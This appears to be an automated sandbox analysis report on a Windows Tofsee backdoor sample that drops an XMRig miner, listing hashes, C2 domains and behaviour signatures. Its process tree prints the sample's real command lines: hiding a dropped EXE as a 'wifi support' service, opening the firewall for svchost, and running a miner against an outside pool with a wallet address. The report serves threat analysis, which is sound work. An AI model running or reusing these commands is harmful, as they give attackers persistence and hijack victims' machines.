Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/12/2022, 17:10

General

  • Target
    file.exe
  • Size 215KB
  • Sample221220-vppnqsad78
  • SHA256 fcd1d9db12b10c5c8f804d71fd04d8bbc1a7a19595342b5d6ea7f8c1b4f161b1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3440
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zaojwyfw\
      2⤵
        PID:2512
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\keulompy.exe" C:\Windows\SysWOW64\zaojwyfw\
        2⤵
          PID:996
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zaojwyfw binPath= "C:\Windows\SysWOW64\zaojwyfw\keulompy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zaojwyfw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zaojwyfw
          2⤵
          • Launches sc.exe
          PID:1840
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5056
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3440 -s 1180
          2⤵
          • Program crash
          PID:4072
      • C:\Windows\SysWOW64\zaojwyfw\keulompy.exe
        C:\Windows\SysWOW64\zaojwyfw\keulompy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4904
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4008
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2472
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 516
          2⤵
          • Program crash
          PID:4512
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3440 -ip 3440
        1⤵
          PID:2188
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4904 -ip 4904
          1⤵
            PID:4604

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                keulompy.exe

                • Path C:\Users\Admin\AppData\Local\Temp\keulompy.exe
                • Size 13.6MB
                • SHA256 1e36299d6f70e5a048ae9bf1deb39fe8d496845c444c4552bba5ee63e1eb97ea
                • MD5 SHA1 SHA512 SSDEEP

                keulompy.exe

                • Path C:\Windows\SysWOW64\zaojwyfw\keulompy.exe
                • Size 13.6MB
                • SHA256 1e36299d6f70e5a048ae9bf1deb39fe8d496845c444c4552bba5ee63e1eb97ea
                • MD5 SHA1 SHA512 SSDEEP

                memory/2472-174-0x0000000000C90000-0x0000000000D81000-memory.dmp

                memory/2472-179-0x0000000000C90000-0x0000000000D81000-memory.dmp

                memory/3440-144-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/3440-133-0x00000000004E0000-0x00000000004F3000-memory.dmp

                memory/3440-143-0x0000000000523000-0x0000000000534000-memory.dmp

                memory/3440-132-0x0000000000523000-0x0000000000534000-memory.dmp

                memory/3440-134-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/4008-148-0x00000000009C0000-0x00000000009D5000-memory.dmp

                memory/4008-164-0x0000000001FD0000-0x0000000001FD5000-memory.dmp

                memory/4008-170-0x0000000001FE0000-0x0000000001FE7000-memory.dmp

                memory/4008-167-0x0000000007780000-0x0000000007B8B000-memory.dmp

                memory/4008-153-0x00000000009C0000-0x00000000009D5000-memory.dmp

                memory/4008-154-0x00000000009C0000-0x00000000009D5000-memory.dmp

                memory/4008-155-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/4008-158-0x0000000001F30000-0x0000000001F36000-memory.dmp

                memory/4008-161-0x0000000001F40000-0x0000000001F50000-memory.dmp

                memory/4904-152-0x00000000006EE000-0x00000000006FE000-memory.dmp

                memory/4904-151-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/4904-146-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/4904-145-0x00000000006EE000-0x00000000006FE000-memory.dmp